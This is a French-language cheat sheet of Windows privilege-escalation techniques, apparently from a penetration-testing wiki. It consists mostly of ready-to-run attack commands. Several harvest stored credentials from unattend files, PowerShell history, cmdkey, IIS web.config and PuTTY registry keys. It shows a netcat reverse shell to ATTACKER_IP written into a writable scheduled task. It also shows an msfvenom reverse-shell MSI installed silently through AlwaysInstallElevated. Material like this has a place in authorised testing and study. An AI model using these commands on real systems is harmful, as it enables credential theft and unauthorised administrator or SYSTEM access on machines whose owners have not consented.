Cheat-sheet
Introduction
Cette page décrit plusieurs techniques pour faire de l'escalade de privilège sur un système Windows pour passe d'un utilisateur A à un utilisateur B.
Techniques
Mots de passe WDS
Parfois, les administrateurs laissent des identifiants en clair dans les fichiers de configuration de WDS qui est utilisé pour déployer une instance Windows sans interraction de la part de l'utilisateur.
Voici la liste des fichiers à consulter qui pourraient contenir des mots de passe :
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
Afficher l'historique de commande powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Afficher les identifiants enregistrés
cmdkey /list
Lancer une commande "en tant que"
runas /savecred /user:admin cmd.exe
Ici, le cmd.exe sera lancé en tant qu'utilisateur admin .
Connexions IIS
La commande suivante va énumérer les connexions à la base de donnée IIS et peut parfois vous révéler des mots de passe :
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Identifiants PuTTY
Il est possible de récupérer les identifiants enregistrés dans PuTTY en interrogeant une clé de registre :
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Simon Tatham est le créateur du logiciel Putty et ne doit donc pas être remplacé par le nom de l'utilisateur.
Tâche planifiée vulnérable
Parfois, les tâches planifiées sont vulnérables car le fichier est lancé en tant qu'utilisateur à privilège et peut en même temps être modifié par votre utilisateur.
Vous pouvez afficher les droits du fichier lancé par la tâche planifiée avec la commande suivante :
icacls <FILE>
Admettons le fichier c:\tasks\schtask.bat :
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)
Le (F) signifie Full Access et donc que les utilisateurs peuvent modifier le fichier.
On pourrait donc injecter un simple payload à l'intérieur et attendre que la tâche se lance :
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat
Dans le cas ci-dessus vous devez évidemment lancer un listener en amont.
AlwaysInstallElevated
Cette fonctionnalité peut être activée via les deux clés de registre suivantes :
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
Si la fonctionnalité est activée, vous pouvez lancer automatiquement les fichiers .msi avec les droits administrateurs.
Avec Metasploit, vous pouvez générer un payload :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o malicious.msi
Vous pouvez ensuite lancer le fichier malicieux en mode silencieux sur le poste :
msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi